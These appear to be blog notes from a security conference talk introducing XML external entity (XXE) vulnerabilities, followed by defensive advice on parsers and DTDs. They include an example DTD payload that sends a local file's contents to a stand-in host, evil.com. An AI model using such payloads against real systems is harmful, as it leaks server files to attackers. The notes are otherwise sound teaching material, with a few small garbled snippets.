XML eXternal Entities⌗

Notes from BSidesPDX talk by @brimy; giving a great introduction on how XXE vulnerabilities operate. Video posted

Added to the OWASP 10 in 2017⌗

Entities⌗

HTML “Entities” are the usual entrypoint. & -> & rendered, triggers.

XML has User-Defined Entities <!eNTITY xml “Extensible Markup Language”> %xml;

External Entities⌗

<!ENTITY chapter1 SYSTEM "chapter1.txt">

Tag rendering executes call to find the contents of chapter1.txt and render it.

Enables users to execute XML at the rendering phase, and access and return sensitive data.

Example Exploit⌗

evil.com/evil.dtd http://evil.com/evil.htm?payload=&file;

<!ENTITY % all
    "<!ENTITY send SYSTEM 'http://evil.com/evil.html?payload=%file;'>"
>
%all;

Threat Model Questions to Ask⌗

Does your server allow DTD? .Net is one of the primary vulnerabilities; .NET < 4.5.2 is vulnerable to default hacks.

  • Do you allow external entities?(You shouldn’t)
  • Do you validate un-trusted input?(You always should)

DO: Update Parsers, Disable DTD & XXE, validate input, if necessary set policies for resolving URLs.